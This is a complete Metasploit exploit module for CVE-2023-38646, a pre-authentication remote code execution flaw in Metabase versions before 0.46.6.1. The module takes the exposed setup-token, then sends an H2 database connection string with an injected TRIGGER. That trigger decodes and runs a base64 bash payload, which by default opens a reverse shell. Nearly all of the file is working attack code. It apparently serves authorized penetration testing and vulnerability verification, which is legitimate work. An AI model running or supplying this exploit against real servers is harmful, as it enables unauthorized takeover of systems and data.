##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Metabase Setup Token RCE',
'Description' => %q{
Metabase versions before 0.46.6.1 contain a flaw where the secret setup-token
is accessible even after the setup process has been completed. With this token
a user is able to submit the setup functionality to create a new database.
When creating a new database, an H2 database string is created with a TRIGGER
that allows for code execution. We use a sample database for our connection
string to prevent corrupting real databases.
Successfully tested against Metabase 0.46.6.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Maxwell Garrett', # original PoC, analysis
'Shubham Shah' # original PoC, analysis
],
'References' => [
['URL', 'https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/'],
['URL', 'https://www.metabase.com/blog/security-advisory'],
['CVE', '2023-38646']
],
'Platform' => ['unix'],
'Privileged' => false,
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
# for docker payload/cmd/unix/reverse_netcat also works, but no perl/python
},
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2023-07-22',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(3000),
OptString.new('TARGETURI', [ true, 'The URI of the Metabase Application', '/'])
]
)
end
def get_bootstrap_json_blob_from_html_resp(html)
%r{<script type="application/json" id="_metabaseBootstrap">([^>]+)</script>} =~ html
begin
JSON.parse(Regexp.last_match(1))
rescue JSON::ParserError, TypeError
print_bad('Unable to parse JSON blob')
nil
end
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
json = get_bootstrap_json_blob_from_html_resp(res.body)
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response, unable to load JSON blob") if json.nil?
version = json.dig('version', 'tag')
return CheckCode::Unknown("#{peer} - Unable to determine version from JSON blob") if version.nil?
# typically v0.46.6
version = version.gsub('v', '')
if Rex::Version.new(version) < Rex::Version.new('0.46.6.1')
return CheckCode::Appears("Version Detected: #{version}")
end
CheckCode::Safe("Version not vulnerable: #{version}")
end
def exploit
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
json = get_bootstrap_json_blob_from_html_resp(res.body)
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response, unable to load JSON blob") if json.nil?
setup_token = json['setup-token']
if setup_token.nil?
print_status('Setup token is nil, checking secondary location')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'session', 'properties'),
'method' => 'GET'
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
json = res.get_json_document
setup_token = json['setup-token']
end
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find valid setup-token") if setup_token.nil?
print_good("Found setup token: #{setup_token}")
print_status('Sending exploit (may take a few seconds)')
# our base64ed payload can't have = in it, so we'll pad out with spaces to remove them
b64_pe = ::Base64.strict_encode64(payload.encoded)
equals_count = b64_pe.count('=')
if equals_count > 0
b64_pe = ::Base64.strict_encode64(payload.encoded + ' ' * equals_count)
end
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'setup', 'validate'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
'token' => setup_token,
'details' =>
{
# 'is_on_demand' => false, # without this, the shell takes ~20 sec longer to get
# 'is_full_sync' => false,
# 'is_sample' => false,
# 'cache_ttl' => nil,
# 'refingerprint' => false,
# 'auto_run_queries' => true,
# 'schedules' => {},
'details' =>
{
'db' => "zip:/app/metabase.jar!/sample-database.db;TRACE_LEVEL_SYSTEM_OUT=0\\;CREATE TRIGGER #{Rex::Text.rand_text_alpha_upper(6..12)} BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,#{b64_pe}}|{base64,-d}|{bash,-i}')\n$$--=x",
'advanced-options' => false,
'ssl' => true
},
'name' => Rex::Text.rand_text_alphanumeric(6..12),
'engine' => 'h2'
}
}.to_json
)
end
end
